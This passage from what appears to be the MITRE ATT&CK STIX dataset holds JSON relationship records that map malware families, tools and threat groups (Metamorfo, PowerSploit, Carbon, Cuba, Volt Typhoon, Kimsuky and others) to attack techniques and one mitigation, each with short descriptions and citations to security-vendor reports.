2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.363Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) collects the CPU information, OS information, and system language.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--676c5a2a-323b-4166-9c83-8c6e5e25bb1f","type":"relationship","created":"2020-06-22T20:34:05.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."},{"source_name":"Fortinet Metamorfo Feb 2020","url":"https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions","description":"Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."},{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:34.090Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has written process names to the Registry, disabled IE browser features, deleted Registry keys, and changed the ExtendedUIHoverTime key.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--676d7d2c-86b6-4a59-8158-d371e5ca4f23","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.196Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--676efaa5-591b-46b3-abb2-a0b308e037db","created":"2024-09-23T22:52:14.060Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:52:14.060Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used VBScript to run malicious files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--677878af-62d4-4407-bbe6-551b7906a366","type":"relationship","created":"2020-07-01T21:19:30.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.403Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has used Python scripts to execute payloads.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--677e0d3e-4a61-490d-a49d-f392cc3432d1","type":"relationship","created":"2019-01-29T19:36:02.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2019-04-12T14:43:22.668Z","description":"[Carbon](https://attack.mitre.org/software/S0335) establishes persistence by creating a service and naming it based off the operating system version running on the current machine.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--677ec8f6-e06d-4d84-82de-af20953450ec","type":"relationship","created":"2021-06-21T18:07:57.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-09-01T12:54:49.613Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has a hardcoded list of services and processes to terminate.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.789Z","description":"During the [T9000](https://attack.mitre.org/software/S0098) installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--678102a1-38ac-4d10-a0cc-a1c0cb47c78a","created":"2023-03-22T05:05:31.980Z","revoked":false,"external_references":[{"source_name":"Sophos Netwalker May 2020","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020.","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/"},{"source_name":"TrendMicro Netwalker May 2020","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:05:31.980Z","description":"[Netwalker](https://attack.mitre.org/software/S0457)'s PowerShell script has been obfuscated with multiple layers including base64 and hexadecimal encoding and XOR-encryption, as well as obfuscated PowerShell functions and variables.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.623Z","description":"[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture video from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6784ef17-912c-4319-87b4-4279c8b663b3","created":"2023-08-02T18:15:06.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:12:10.711Z","description":"(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--679707b5-84d8-473d-9d28-e92a7d16763a","created":"2022-02-08T16:11:38.700Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can initiate a port scan against a given IP address.(Citation: Peirates GitHub)","modified":"2022-04-14T20:58:58.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67a63d3a-30a5-43b6-a593-dc08581b460a","type":"relationship","created":"2020-03-09T13:26:46.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx","description":"Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.","source_name":"Microsoft Process Wide Com Keys"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx","description":"Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.","source_name":"Microsoft System Wide Com Keys"},{"url":"https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1","description":"Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.","source_name":"Microsoft COM ACL"}],"modified":"2021-07-26T22:51:20.612Z","description":"Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole` associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67ad06ba-8fcc-490e-95fd-7322a97136f1","created":"2024-08-20T19:07:49.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T18:02:28.195Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used [SDelete](https://attack.mitre.org/software/S0195) for wartime operations in 2022-2023.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--67ae2dbd-0b87-4656-b380-3d23b8e40479","created":"2022-06-09T14:47:08.780Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can clear possible malware traces such as application logs.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:47:08.780Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67b0c62c-ce4f-4e08-8d8c-9e1fd4afe255","type":"relationship","created":"2021-08-31T13:33:56.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T13:33:56.807Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has infected victims using watering holes.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67b2064e-4e0b-4b56-8381-ed16efc270c2","created":"2024-10-02T12:17:02.352Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T12:17:02.352Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) used strategic website compromise to fingerprint then target victims.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist MiniDuke Feb 2013","description":"Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.","url":"https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:58.859Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can download additional encrypted backdoors onto the victim via GIF files.(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67bbf0b5-f39a-4c5b-93bd-6d37423a44dc","created":"2024-05-06T18:57:25.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T17:51:21.444Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has stolen and laundered cryptocurrency to self-fund operations including the acquisition of infrastructure.(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67c21ae7-5dc3-4439-b5d1-df937abac3ad","type":"relationship","created":"2020-09-24T14:20:39.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.097Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can call ShellExecuteW to open the default browser on the URL localhost.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67c23a08-47ef-4c09-8500-b1d7305ed6b7","created":"2023-04-03T17:35:11.089Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:35:11.089Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has used unique malware in their operations, including [metaMain](https://attack.mitre.org/software/S1059) and [Mafalda](https://attack.mitre.org/software/S1060).(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67cf9a5c-3ecf-4280-9808-a027680f7444","created":"2023-03-26T15:49:15.390Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:49:15.390Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds) ","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67d072c0-3439-4a61-9a67-fb3f2b72d04e","type":"relationship","created":"2021-11-24T21:59:07.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T21:59:07.916Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used JavaScript in its attacks.(Citation: MalwareBytes LazyScripter Feb 2021) ","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67dbfc12-982f-4d14-a3d7-efa45644ecf3","created":"2019-05-29T14:48:21.010Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:32:47.571Z","description":"[FlawedGrace](https://attack.mitre.org/software/S0383) encrypts its C2 configuration files with AES in CBC mode.(Citation: Proofpoint TA505 Jan 